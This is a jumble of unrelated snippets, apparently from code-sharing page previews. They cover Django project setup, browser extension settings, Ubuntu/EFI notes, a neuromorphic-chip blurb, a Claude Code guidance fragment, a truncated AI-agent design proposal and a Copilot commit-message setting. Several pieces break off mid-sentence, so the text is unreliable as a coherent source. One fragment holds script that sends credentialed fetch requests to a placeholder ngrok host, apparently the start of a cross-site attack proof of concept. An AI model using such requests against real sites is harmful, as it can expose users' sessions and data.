Init folders:
mkdir project_name
cd project_name
pipenv --shell
pipenv install django djangorestframework django_rest_knox
Arc
defaults write company.thebrowser.Browser.plist ExtensionManifestV2Availability -int 2
Chrome
defaults write com.google.Chrome.plist ExtensionManifestV2Availability -int 2
Chrome Beta
Ubuntu was intalled with the default nvidia drivers that it brought (I believe 3.90)
Clone https://github.com/0xbb/apple_set_os.efi
For details, see the README.md
Build it:
Imagine a chip that learns like a brain — not by uploading data to train on later, but by adjusting itself in real time, using almost no power. That’s what the new “Super-Turing” AI chip does. Instead of separating learning and inference like traditional neural networks (train first, deploy later), this chip learns and makes decisions at the same time, directly in hardware.
At the heart of this system is a device called a synstor — a synaptic transistor that acts both as memory and as a learning engine. It doesn’t just store weights like a normal neural network. It changes them dynamically based on electrical pulses, mimicking how biological synapses adjust when neurons fire. This change happens through a mechanism called Spike-Timing Dependent Plasticity (STDP) — if a signal comes in just before the output neuron fires, the connection strengthens; if it comes after, it weakens. All of this happens instantly and locally
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
The SPARC Automated Development System (claude-sparc.sh
) is a comprehensive, agentic workflow for automated software development using the SPARC methodology (Specification, Pseudocode, Architecture, Refinement, Completion). This system leverages Claude Code's built-in tools for parallel task orchestration, comprehensive research, and Test-Driven Development.
We propose an AI agent architecture in PyTorch that integrates state-of-the-art components to meet the following goals: (1) advanced reasoning with transformer models, (2) ingestion of large documents or histories via long context windows, (3) persistent memory without traditional vector-database RAG, (4) tool use for actions (API calls, code execution, etc.) similar to Anthropic’s MCP standard, and (5) declarative, goal-driven behavior with autonomous planning. The system will be compatible with both CPU and GPU environments. Below, we detail recommended models, libraries, and design choices for each aspect, followed by an overall architecture and example implementation steps.
Model Selection: Use modern transformer-based LLMs known for strong reasoning and multitasking. For example, Meta’s LLaMA 2 (open-source, 7B–70B parameters) or **Mist
<body></body> | |
<script> | |
(async () => { | |
const target = "https://XXX.ngrok-free.app"; | |
// Warmup | |
await fetch(target, { | |
mode: "no-cors", | |
credentials: "include", | |
}); |
Paste it to settings.json
:
"github.copilot.chat.commitMessageGeneration.instructions": [
{
"text": "Follow the Conventional Commits format strictly for commit messages. Use the structure below:\n\n```\n<type>[optional scope]: <gitmoji> <description>\n\n[optional body]\n```\n\nGuidelines:\n\n1. **Type and Scope**: Choose an appropriate type (e.g., `feat`, `fix`) and optional scope to describe the affected module or feature.\n\n2. **Gitmoji**: Include a relevant `gitmoji` that best represents the nature of the change.\n\n3. **Description**: Write a concise, informative description in the header; use backticks if referencing code or specific terms.\n\n4. **Body**: For additional details, use a well-structured body section:\n - Use bullet points (`*`) for clarity.\n - Clearly describe the motivation, context, or technical details behind the change, if applicable.\n\nCommit messages should be clear, informative, and professional, aiding readability and project tracking."
}
]